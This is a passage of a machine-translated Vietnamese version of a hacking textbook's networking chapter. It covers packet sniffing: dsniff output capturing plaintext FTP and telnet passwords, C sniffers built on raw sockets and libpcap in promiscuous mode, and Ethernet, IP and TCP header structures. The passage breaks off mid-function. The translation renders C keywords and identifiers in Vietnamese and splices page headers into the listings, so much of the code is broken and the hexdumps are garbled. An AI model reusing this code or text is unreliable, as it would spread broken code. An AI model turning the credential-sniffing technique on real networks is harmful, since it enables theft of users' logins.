P 76:103(27) ack 27 thắng 17290 <nop,nop,timestamp 466923 921809> (DF)
0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 0x0010
E..O..@....T...v
c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02
........)...^...
Mạng lưới 225
Machine Translated by Google
0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb 0x0030 000e
..CL..........
10d1 3233 3020 5573 6572 206c 6565 0x0040 6368 206c 6f67 6765
....230.Người dùng.lee
6420 696e 2e0d 0a
ch.logged.in...
Dữ liệu được truyền qua mạng bằng các dịch vụ như telnet, FTP và POP3
không được mã hóa. Trong ví dụ trước, người dùng leech được nhìn thấy đang
đăng nhập vào máy chủ FTP bằng mật khẩu l8@nite. Vì quá trình xác thực trong
quá trình đăng nhập cũng không được mã hóa, nên tên người dùng và mật khẩu
chỉ được chứa trong các phần dữ liệu của các gói được truyền.
tcpdump là một chương trình đánh hơi gói tin tuyệt vời, đa năng, nhưng có những công cụ
đánh hơi chuyên dụng được thiết kế riêng để tìm kiếm tên người dùng và mật khẩu. Một ví dụ đáng chú
ý là chương trình dsniff của Dug Song, đủ thông minh để phân tích dữ liệu có vẻ quan trọng.
người đọc@hacking:~/booksrc $ sudo dsniff -n
dsniff: đang lắng nghe trên eth0
----------------12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)
NGƯỜI DÙNG leech
PASS l8@nite
----------------12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet)
NGƯỜI DÙNG gốc
ĐẠT 5eCr3t
0x441 Trình đánh hơi ổ cắm thô
Cho đến nay trong các ví dụ mã của chúng tôi, chúng tôi đã sử dụng socket luồng. Khi gửi và
nhận bằng socket luồng, dữ liệu được gói gọn trong kết nối TCP/IP. Khi truy cập mô hình OSI của
lớp phiên (5), hệ điều hành sẽ xử lý tất cả các chi tiết cấp thấp hơn về truyền, sửa lỗi và định
tuyến. Có thể truy cập mạng ở các lớp thấp hơn bằng socket thô. Ở lớp thấp hơn này, tất cả các
chi tiết đều được phơi bày và phải được lập trình viên xử lý rõ ràng. Socket thô được chỉ định
bằng cách sử dụng SOCK_RAW làm kiểu. Trong trường hợp này, giao thức quan trọng vì có nhiều tùy
chọn. Giao thức có thể là IPPROTO_TCP, IPPROTO_UDP hoặc IPPROTO_ICMP. Ví dụ sau là chương trình
đánh hơi TCP sử dụng socket thô.
raw_tcpsniff.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "hacking.h"
int main(void) {
int i, độ dài_recv, sockfd;
226 0x400
Machine Translated by Google
bộ đệm u_char[9000];
nếu ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
fatal("trong ổ cắm");
đối với (i = 0; i < 3; i++) {
recv_length = recv(sockfd, bộ đệm, 8000, 0);
printf("Có một gói %d byte\n", recv_length);
dump(bộ đệm, độ dài recv);
}
}
Chương trình này mở một socket TCP thô và lắng nghe ba gói tin, in ra
nhập dữ liệu thô của từng biến bằng hàm dump() . Lưu ý rằng buffer được khai báo
là biến u_char . Đây chỉ là định nghĩa kiểu tiện lợi từ sys/socket.h mở rộng thành
“unsigned char”. Điều này là để thuận tiện, vì các biến unsigned được sử dụng rất
nhiều trong lập trình mạng và việc nhập unsigned mỗi lần là một cực hình.
Khi biên dịch, chương trình cần được chạy dưới dạng root, vì việc sử dụng
socket thô yêu cầu quyền truy cập root. Đầu ra sau đây cho thấy chương trình đang
đánh hơi mạng trong khi chúng ta đang gửi văn bản mẫu đến simple_server của mình.
reader@hacking:~/booksrc $ gcc -o raw_tcpsniff raw_tcpsniff.c
reader@hacking:~/booksrc $ ./raw_tcpsniff [!!]
Lỗi nghiêm trọng trong socket: Hoạt động không được phép
reader@hacking:~/booksrc $ sudo ./raw_tcpsniff Đã
nhận được gói 68 byte
45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l.
80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&...
02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.đây là một te
73 74 0ngày 0ngày | ngày..
Có một gói 70 byte
45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l.
80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'......&..u
02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .<.(AAAAAAAAAAAA
41 41 41 41 0ngày 0ngày | AAAA..
Có một gói 71 byte
45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | VÍ DỤ..8@.@.F...*.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | ..*...........l.
80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | ....Anh ta......&...
02 3c 20 quảng cáo 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | .< .fjsdalkfjask
66 6a 61 73 64 0d 0a | fjasd..
người đọc@hacking:~/booksrc $
Mặc dù chương trình này sẽ bắt được các gói tin, nhưng nó không đáng tin cậy
và sẽ bỏ sót một số gói tin, đặc biệt là khi có nhiều lưu lượng truy cập. Ngoài
ra, nó chỉ bắt được các gói tin TCP—để bắt được các gói tin UDP hoặc ICMP, cần phải
mở thêm các socket thô cho từng gói tin. Một vấn đề lớn khác với các socket thô là
chúng không nhất quán giữa các hệ thống. Mã socket thô cho Linux rất có thể sẽ không
hoạt động trên BSD hoặc Solaris. Điều này khiến việc lập trình đa nền tảng với các
socket thô gần như không thể thực hiện được.
Mạng lưới 227
Machine Translated by Google
0x442 libpcap Đánh hơi
Một thư viện lập trình chuẩn hóa có tên là libpcap có thể được sử dụng để làm mịn
sự không nhất quán của các socket thô. Các hàm trong thư viện này vẫn sử dụng các
socket thô để thực hiện phép thuật của chúng, nhưng thư viện biết cách hoạt động
chính xác với các socket thô trên nhiều kiến trúc. Cả tcpdump và dsniff đều sử
dụng libpcap, cho phép chúng biên dịch tương đối dễ dàng trên bất kỳ nền tảng nào.
Hãy viết lại chương trình raw packet sniffer bằng các hàm của libpcap thay vì hàm
của chúng ta. Các hàm này khá trực quan, vì vậy chúng ta sẽ thảo luận về chúng
bằng cách sử dụng danh sách mã sau.
pcap_sniff.c
#include <pcap.h>
#include "hacking.h"
void pcap_fatal(const char *failed_in, const char *errbuf) {
printf("Lỗi nghiêm trọng trong %s: %s\n", failed_in, errbuf);
thoát(1);
}
Đầu tiên, pcap.h được bao gồm cung cấp nhiều cấu trúc và định nghĩa khác nhau
được sử dụng bởi các hàm pcap. Ngoài ra, tôi đã viết một hàm pcap_fatal() để hiển
thị các lỗi nghiêm trọng. Các hàm pcap sử dụng bộ đệm lỗi để trả về thông báo lỗi
và trạng thái, do đó hàm này được thiết kế để hiển thị bộ đệm này cho người dùng.
int chính() {
struct pcap_pkthdr tiêu đề;
const u_char *gói tin;
ký tự errbuf[PCAP_ERRBUF_SIZE];
char *thiết bị;
pcap_t *xử lý pcap;
số nguyên i;
Biến errbuf là bộ đệm lỗi đã đề cập ở trên, kích thước của nó đến từ một định
nghĩa trong pcap.h được đặt thành 256. Biến tiêu đề là một cấu trúc pcap_pkthdr chứa
thông tin chụp bổ sung về gói tin, chẳng hạn như thời điểm chụp và độ dài của gói
tin. Con trỏ pcap_handle hoạt động tương tự như một mô tả tệp, nhưng được sử
dụng để tham chiếu đến một đối tượng chụp gói tin.
thiết bị = pcap_lookupdev(errbuf);
nếu(thiết bị == NULL)
pcap_fatal("pcap_lookupdev", lỗi);
printf("Đang theo dõi thiết bị %s\n", thiết bị);
Hàm pcap_lookupdev() tìm kiếm một thiết bị phù hợp để đánh hơi. Thiết bị này
được trả về dưới dạng một con trỏ chuỗi tham chiếu đến bộ nhớ hàm tĩnh. Đối với hệ
thống của chúng tôi, nó sẽ luôn là /dev/eth0, mặc dù nó sẽ khác trên hệ thống BSD.
Nếu hàm không tìm thấy giao diện phù hợp, nó sẽ trả về NULL.
228 0x400
Machine Translated by Google
pcap_handle = pcap_open_live(thiết bị, 4096, 1, 0, errbuf);
nếu(pcap_handle == NULL)
pcap_fatal("pcap_open_live", lỗi);
Tương tự như hàm socket và hàm mở tệp, pcap_open_live()
hàm mở một thiết bị bắt gói tin, trả về một xử lý cho thiết bị đó. Các đối số cho
hàm này là thiết bị để đánh hơi, kích thước gói tin tối đa, cờ hỗn tạp, giá trị thời
gian chờ và con trỏ đến bộ đệm lỗi. Vì chúng ta muốn bắt ở chế độ hỗn tạp, cờ hỗn
tạp được đặt thành 1.
đối với (i = 0; i < 3; i++) {
gói = pcap_next(pcap_handle, &header);
printf("Có một gói %d byte\n", header.len);
dump(gói, header.len);
}
pcap_close(xử lý pcap);
}
Cuối cùng, vòng lặp bắt gói tin sử dụng pcap_next() để bắt gói tin tiếp theo.
Hàm này được truyền pcap_handle và một con trỏ đến một cấu trúc pcap_pkthdr để nó
có thể điền vào đó các chi tiết về việc bắt giữ. Hàm trả về một con trỏ đến gói tin
và sau đó in gói tin, lấy độ dài từ tiêu đề bắt giữ. Sau đó, pcap_close() đóng giao
diện bắt giữ.
Khi chương trình này được biên dịch, các thư viện pcap phải được liên kết. Điều
này có thể được thực hiện bằng cách sử dụng cờ -l với GCC, như được hiển thị trong
đầu ra bên dưới. Thư viện pcap đã được cài đặt trên hệ thống này, vì vậy các tệp thư
viện và include đã nằm ở các vị trí chuẩn mà trình biên dịch biết.
reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c /tmp/
ccYgieqx.o: Trong hàm `main':
pcap_sniff.c:(.text+0x1c8): tham chiếu không xác định đến `pcap_lookupdev'
pcap_sniff.c:(.text+0x233): tham chiếu không xác định đến `pcap_open_live'
pcap_sniff.c:(.text+0x282): tham chiếu không xác định đến `pcap_next'
pcap_sniff.c:(.text+0x2c2): tham chiếu không xác định đến `pcap_close'
collect2: ld trả về 1 trạng thái thoát
reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap
reader@hacking:~/booksrc $ ./pcap_sniff Lỗi
nghiêm trọng trong pcap_lookupdev: không tìm thấy thiết bị phù hợp
người đọc@hacking:~/booksrc $ sudo ./pcap_sniff
Đánh hơi trên thiết bị eth0
Có một gói 82 byte
00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E.
00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9@.@.F ..*...
2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | *...........tôi...
05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T.......&..v.<
37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7.đây là một bài kiểm tra
0d 0a
| ..
Có một gói 66 byte
00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..).e...l..P..E.
00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4=,@.@.'M..*...
2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | *......tôi......
Mạng lưới 229
Machine Translated by Google
05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | ..+?......G'l&.
a7 76
| .v
Có một gói 84 byte
00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E.
00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | .F.:@.@.F...*...
2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | *...........tôi...
05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | ..........&....G
27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | 'aAAAAAAAAAAAAAA
41 41 0ngày 0ngày |
người đọc@hacking:~/booksrc $
Lưu ý rằng có nhiều byte trước văn bản mẫu trong gói và nhiều byte trong số này tương
tự nhau. Vì đây là các gói tin thô, hầu hết các byte này là các lớp thông tin tiêu đề cho
Ethernet, IP và TCP.
0x443 Giải mã các lớp
Trong các gói tin capture của chúng tôi, lớp ngoài cùng là Ethernet, cũng là lớp thấp
nhất có thể nhìn thấy. Lớp này được sử dụng để gửi dữ liệu giữa các điểm cuối Ethernet
có địa chỉ MAC. Tiêu đề cho lớp này chứa địa chỉ MAC nguồn, địa chỉ MAC đích và giá trị
16 bit mô tả loại gói tin Ethernet. Trên Linux, cấu trúc cho tiêu đề này được định nghĩa
trong /usr/include/linux/if_ethernet.h và các cấu trúc cho tiêu đề IP và tiêu đề TCP nằm
trong /usr/include/netinet/ip.h và /usr/include/
netinet/tcp.h, tương ứng. Mã nguồn cho tcpdump cũng có cấu trúc cho các tiêu đề này hoặc
chúng ta có thể chỉ cần tạo cấu trúc tiêu đề của riêng mình dựa trên RFC. Có thể hiểu
rõ hơn bằng cách viết cấu trúc của riêng mình, vì vậy hãy sử dụng các định nghĩa cấu
trúc làm hướng dẫn để tạo cấu trúc tiêu đề gói tin của riêng mình để đưa vào hackingnetwork.h.
Đầu tiên, chúng ta hãy xem định nghĩa hiện tại của tiêu đề Ethernet.
Từ /usr/include/if_ether.h
#define ETH_ALEN 6 /* Octet trong một địa chỉ ethernet */
#define ETH_HLEN 14
/* Tổng số octet trong tiêu đề */
/*
* Đây là tiêu đề khung Ethernet.
*/
cấu trúc ethhdr {
unsigned char h_dest[ETH_ALEN]; /* Địa chỉ eth đích */
unsigned char h_source[ETH_ALEN]; /* Địa chỉ ether nguồn */
__be16 giao thức h;
/* Trường ID loại gói */
} __attribute__((đóng gói));
Cấu trúc này chứa ba phần tử của tiêu đề Ethernet. Khai báo biến __be16 hóa ra là định nghĩa kiểu
cho số nguyên ngắn không dấu 16 bit. Điều này có thể được xác định bằng cách đệ quy tìm kiếm định nghĩa
kiểu trong các tệp include.
230 0x400
Machine Translated by Google
người đọc@hacking:~/booksrc $
$ grep -R "typedef.*__be16" /usr/include
/usr/include/linux/types.h:typedef __u16 __bitwise __be16;
$ grep -R "typedef.*__u16" /usr/include | grep ngắn
/usr/include/linux/i2o-dev.h:typedef unsigned short __u16;
/usr/include/linux/cramfs_fs.h:typedef unsigned short __u16;
/usr/include/asm/types.h:typedef unsigned short __u16;
$
Tệp include cũng định nghĩa độ dài tiêu đề Ethernet trong ETH_HLEN là 14
byte. Điều này cộng lại, vì địa chỉ MAC nguồn và đích sử dụng 6 byte cho mỗi địa
chỉ và trường loại gói là số nguyên ngắn 16 bit chiếm 2 byte. Tuy nhiên, nhiều
trình biên dịch sẽ đệm các cấu trúc dọc theo ranh giới 4 byte để căn chỉnh, điều
này có nghĩa là sizeof(struct ethhdr) sẽ trả về kích thước không chính xác.
Để tránh điều này, ETH_HLEN hoặc giá trị cố định là 14 byte nên được sử dụng
cho độ dài tiêu đề Ethernet.
Bằng cách bao gồm <linux/if_ether.h>, các tệp include khác này chứa định
nghĩa kiểu __be16 bắt buộc cũng được bao gồm. Vì chúng ta muốn tạo cấu trúc
riêng cho hacking-network.h, chúng ta nên loại bỏ các tham chiếu đến định nghĩa
kiểu không xác định. Khi thực hiện, hãy đặt tên cho các trường này tốt hơn.
Đã thêm vào hacking-network.h
#xác định ETHER_ADDR_LEN 6
#xác định ETHER_HDR_LEN 14
cấu trúc ether_hdr {
unsigned char ether_dest_addr[ETHER_ADDR_LEN]; // Địa chỉ MAC đích
unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Địa chỉ MAC nguồn
unsigned short ether_type; // Kiểu gói Ethernet
};
Chúng ta có thể làm điều tương tự với cấu trúc IP và TCP bằng cách sử dụng
cấu trúc tương ứng và sơ đồ RFC để tham khảo.
Từ /usr/include/netinet/ip.h
cấu trúc iphdr
{
#nếu __BYTE_ORDER == __LITTLE_ENDIAN
số nguyên không dấu ihl:4;
unsigned int phiên bản:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int phiên bản:4;
số nguyên không dấu ihl:4;
#khác
# lỗi "Vui lòng sửa <bits/endian.h>"
#kết thúc nếu
u_int8_t tos;
u_int16_t tổng_lớn;
u_int16_t mã số;
Mạng lưới 231
Machine Translated by Google
u_int16_t xóa bỏ mảnh vỡ;
u_int8_t ttl;
giao thức u_int8_t;
u_int16_t kiểm tra;
u_int32_t saddr;
u_int32_t cha;
/*Các tùy chọn bắt đầu từ đây. */
};
Từ RFC 791
1
0
2
3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|Phiên bản| IHL |Loại dịch vụ|
Tổng chiều dài
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Nhận dạng
|
|Cờ|
Độ lệch mảnh
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Tổng kiểm tra tiêu đề
| Thời gian để sống |
Giao thức |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Địa chỉ nguồn
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Địa chỉ đích
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
|
Tùy chọn
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
Đệm
|
Ví dụ về tiêu đề Datagram Internet
Mỗi phần tử trong cấu trúc tương ứng với các trường được hiển thị trong
sơ đồ tiêu đề RFC. Vì hai trường đầu tiên, Phiên bản và IHL (Độ dài tiêu đề
Internet) chỉ có kích thước bốn bit và không có bất kỳ kiểu biến 4 bit nào trong
C, nên định nghĩa tiêu đề Linux chia byte khác nhau tùy thuộc vào thứ tự byte của
máy chủ. Các trường này nằm trong thứ tự byte mạng, vì vậy, nếu máy chủ là littleendian, IHL phải đứng trước Phiên bản vì thứ tự byte bị đảo ngược. Đối với mục
đích của chúng tôi, chúng tôi sẽ không thực sự sử dụng bất kỳ trường nào trong
số này, vì vậy chúng tôi thậm chí không cần phải chia byte.
Đã thêm vào hacking-network.h
cấu trúc ip_hdr {
unsigned char ip_version_and_header_length; // Phiên bản và độ dài tiêu đề
ký tự không dấu ip_tos;
// Loại dịch vụ
ip_len ngắn không dấu;
// Tổng chiều dài
ip_id ngắn không dấu;
// Số nhận dạng
unsigned short ip_frag_offset; // Độ lệch phân đoạn và cờ
232 0x400
unsigned char ip_ttl;
// Đến lúc sống rồi
unsigned char ip_type;
// Kiểu giao thức
unsigned short ip_checksum;
// Tổng kiểm tra
unsigned int ip_src_addr;
// Địa chỉ IP nguồn
unsigned int ip_dest_addr; };
// Địa chỉ IP đích
Machine Translated by Google
Như đã đề cập trước đó, trình biên dịch sẽ căn chỉnh cấu trúc này trên
ranh giới 4 byte bằng cách đệm phần còn lại của cấu trúc. Tiêu đề IP luôn là
20 byte.
Đối với tiêu đề gói TCP, chúng tôi tham chiếu /usr/include/netinet/tcp.h
cho cấu trúc và RFC 793 cho sơ đồ tiêu đề.
Từ /usr/include/netinet/tcp.h
định nghĩa u_int32_t tcp_seq;
/*
* Tiêu đề TCP.
* Theo RFC 793, tháng 9 năm 1981.
*/
cấu trúc tcphdr
{
u_int16_t th_sport; /* cổng nguồn */
u_int16_t th_dport; /* cổng đích */
tcp_seq th_seq; /* số thứ tự */
tcp_seq th_ack; /* số xác nhận */
# nếu __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:4; /* (chưa sử dụng) */
u_int8_t th_off:4; /* độ lệch dữ liệu */
# kết thúc nếu
# nếu __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:4; /* độ lệch dữ liệu */
u_int8_t th_x2:4; /* (chưa sử dụng) */
# kết thúc nếu
u_int8_t cờ;
# định nghĩa TH_FIN 0x01
# định nghĩa TH_SYN 0x02
# định nghĩa TH_RST 0x04
# định nghĩa TH_PUSH 0x08
# định nghĩa TH_ACK 0x10
# định nghĩa TH_URG 0x20
u_int16_t th_win; /* cửa sổ */
u_int16_t th_sum; /* tổng kiểm tra */
u_int16_t th_urp; /* con trỏ khẩn cấp */
};
Từ RFC 793
Định dạng tiêu đề TCP
0
1
2
3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
Cổng nguồn
Cảng đích
|
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
Số thứ tự
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
Số xác nhận
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Mạng lưới 233
Machine Translated by Google
| Dữ liệu |
|U|A|P|R|S|F|
|
| Bù trừ| Đã đặt trước |R|C|S|S|Y|I| | |
Cửa sổ
|
|G|K|H|T|N|N|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Tổng kiểm tra
|
|
Con trỏ khẩn cấp
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
Tùy chọn
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
Đệm
dữ liệu
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Độ lệch dữ liệu: 4 bit
Số lượng từ 32 bit trong Tiêu đề TCP. Điều này chỉ ra nơi
dữ liệu bắt đầu. Tiêu đề TCP (thậm chí một tiêu đề bao gồm các tùy chọn) là một
số nguyên có độ dài 32 bit.
Đã đặt trước: 6 bit Đã
đặt trước để sử dụng trong tương lai. Phải bằng không.
Tùy chọn: biến
Cấu trúc tcphdr của Linux cũng chuyển đổi thứ tự của trường offset dữ liệu 4 bit và
phần 4 bit của trường được dành riêng tùy thuộc vào thứ tự byte của máy chủ. Trường
offset dữ liệu rất quan trọng vì nó cho biết kích thước của tiêu đề TCP có độ dài thay
đổi. Bạn có thể nhận thấy rằng cấu trúc tcphdr của Linux không lưu bất kỳ không gian
nào cho các tùy chọn TCP. Điều này là do RFC định nghĩa trường này là tùy chọn. Kích
thước của tiêu đề TCP sẽ luôn được căn chỉnh theo 32 bit và offset dữ liệu cho chúng ta
biết có bao nhiêu từ 32 bit trong tiêu đề. Vì vậy, kích thước tiêu đề TCP tính bằng byte
bằng trường offset dữ liệu từ tiêu đề nhân bốn.
Vì trường bù dữ liệu là bắt buộc để tính kích thước tiêu đề, chúng ta sẽ chia byte chứa
trường bù dữ liệu này, giả sử byte chủ được sắp xếp theo kiểu little-endian.
Trường th_flags của cấu trúc tcphdr của Linux được định nghĩa là một ký tự không dấu
8 bit. Các giá trị được định nghĩa bên dưới trường này là các bitmask tương ứng với sáu
cờ có thể có.
Đã thêm vào hacking-network.h
cấu trúc tcp_hdr {
unsigned short tcp_src_port; // Cổng TCP nguồn
unsigned short tcp_dest_port; // Cổng TCP đích
số nguyên không dấu tcp_seq;
// Số thứ tự TCP
số nguyên không dấu tcp_ack;
// Số xác nhận TCP
unsigned char reserved:4; // 4 bit từ 6 bit của không gian được dành riêng
// Độ lệch dữ liệu TCP cho máy chủ little-endian
ký tự không dấu tcp_offset:4;
ký tự không dấu tcp_flags;
// Cờ TCP (và 2 bit từ không gian dành riêng)
#xác định TCP_FIN 0x01
#xác định TCP_SYN 0x02
#xác định TCP_RST 0x04
#xác định TCP_PUSH 0x08
#xác định TCP_ACK 0x10
#xác định TCP_URG 0x20
unsigned short tcp_window;
// Kích thước cửa sổ TCP
unsigned short tcp_checksum; // Tổng kiểm tra TCP
lệnh ngắn không dấu tcp_urgent;
};
234 0x400
// Con trỏ khẩn cấp TCP
Machine Translated by Google
Bây giờ các tiêu đề được định nghĩa là các cấu trúc, chúng ta có thể viết một
chương trình để giải mã các tiêu đề phân lớp của mỗi gói tin. Nhưng trước khi làm
vậy, chúng ta hãy nói về libpcap trong giây lát. Thư viện này có một hàm gọi là
pcap_loop(), đây là cách tốt hơn để bắt các gói tin thay vì chỉ lặp lại pcap_next ()
call. Rất ít chương trình thực sự sử dụng pcap_next(), vì nó vụng về và không
hiệu quả. Hàm pcap_loop() sử dụng hàm gọi lại. Điều này có nghĩa là hàm
pcap_loop() được truyền một con trỏ hàm, được gọi mỗi khi một gói tin được bắt.
Nguyên mẫu cho pcap_loop() như sau:
int pcap_loop(pcap_t *xử lý, int đếm, hàm gọi lại pcap_handler, u_char *args);
Đối số đầu tiên là handle của pcap, đối số tiếp theo là số lượng gói tin cần bắt và đối số thứ ba
là con trỏ hàm đến hàm gọi lại. Nếu đối số đếm được đặt thành -1, nó sẽ lặp cho đến khi chương trình
thoát khỏi nó. Đối số cuối cùng là con trỏ tùy chọn sẽ được truyền đến hàm gọi lại. Đương nhiên,
hàm gọi lại cần tuân theo một nguyên mẫu nhất định, vì pcap_loop() phải gọi hàm này. Hàm gọi lại
có thể được đặt tên theo ý thích của bạn, nhưng các đối số phải như sau:
void callback(u_char *args, const struct pcap_pkthdr *cap_header, const u_char *packet);
Đối số đầu tiên chỉ là con trỏ đối số tùy chọn từ đối số cuối cùng đến
pcap_loop(). Nó có thể được sử dụng để truyền thông tin bổ sung đến hàm gọi lại,
nhưng chúng ta sẽ không sử dụng điều này. Hai đối số tiếp theo sẽ quen thuộc với
pcap_next(): một con trỏ đến tiêu đề capture và một con trỏ đến chính gói tin.
Mã ví dụ sau sử dụng pcap_loop() với hàm gọi lại để bắt các gói tin và cấu
trúc tiêu đề của chúng tôi để giải mã chúng. Chương trình này sẽ được giải thích
khi mã được liệt kê.
giải mã_ngửi.c
#include <pcap.h>
#include "hacking.h"
#include "hacking-network.h"
void pcap_fatal(const char *, const char *);
void decode_ethernet(const u_char *);
void decode_ip(const u_char *);
u_int giải mã_tcp(const u_char *);
void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);
int chính() {
cấu trúc pcap_pkthdr cap_header;
const u_char *gói tin, *dữ liệu gói tin;
ký tự errbuf[PCAP_ERRBUF_SIZE];
char *thiết bị;
Mạng lưới 235
Machine Translated by Google
pcap_t *xử lý pcap;
thiết bị = pcap_lookupdev(errbuf);
nếu(thiết bị ==
NULL) pcap_fatal("pcap_lookupdev", errbuf);
printf("Đang theo dõi thiết bị %s\n", thiết bị);
pcap_handle = pcap_open_live(thiết bị, 4096, 1, 0, errbuf);
nếu(pcap_handle == NULL)
pcap_fatal("pcap_open_live", errbuf);
pcap_loop(xử lý pcap, 3, gói tin đã bắt, NULL);
pcap_close(xử lý pcap);
}
Ở đầu chương trình này, nguyên mẫu cho hàm gọi lại, được gọi là
caught_packet(), được khai báo cùng với một số hàm giải mã.
Mọi thứ khác trong main() về cơ bản là giống nhau, ngoại trừ vòng lặp for
đã được thay thế bằng một lệnh gọi duy nhất đến pcap_loop(). Hàm này được
truyền pcap_handle, được yêu cầu bắt ba gói tin và được trỏ đến hàm gọi
lại, caught_packet(). Đối số cuối cùng là NULL, vì chúng ta không có dữ liệu
bổ sung nào để truyền đến caught_packet(). Ngoài ra, hãy lưu ý rằng hàm
decode_tcp() trả về một u_int. Vì độ dài tiêu đề TCP là biến, nên hàm này
trả về độ dài của tiêu đề TCP.
void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char *packet)
{ int
tcp_header_length, total_header_size, pkt_data_len; u_char
*pkt_data;
printf("==== Có gói %d byte ====\n", cap_header->len);
giải mã_ethernet(gói tin);
giải mã_ip(gói tin+ETHER_HDR_LEN);
độ dài_tcp_header = giải mã_tcp(gói tin+ETHER_HDR_LEN+kích thước(cấu trúc ip_hdr));
total_header_size = ETHER_HDR_LEN+sizeof(struct ip_hdr)+tcp_header_length; pkt_data
= (u_char *)packet + total_header_size; // pkt_data trỏ đến phần dữ liệu. pkt_data_len = cap_header>len - total_header_size; if(pkt_data_len > 0)
{ printf("\t\t\t%u byte
dữ liệu gói\n", pkt_data_len); dump(pkt_data, pkt_data_len); }
else printf("\t\t\tKhông có dữ
liệu
gói\n");
}
void pcap_fatal(const char *failed_in, const char *errbuf)
{ printf("Lỗi nghiêm trọng trong %s: %s\n", failed_in,
errbuf); thoát(1);
}
236 0x400
Machine Translated by Google
Hàm caught_packet() được gọi bất cứ khi nào pcap_loop() bắt được một gói
tin. Hàm này sử dụng độ dài tiêu đề để chia gói tin thành nhiều lớp và các
hàm giải mã để in ra chi tiết tiêu đề của từng lớp.
void giải mã_ethernet(const u_char *header_start) {
int
i; const struct ether_hdr *ethernet_header;
ethernet_header = (const struct ether_hdr *)header_start;
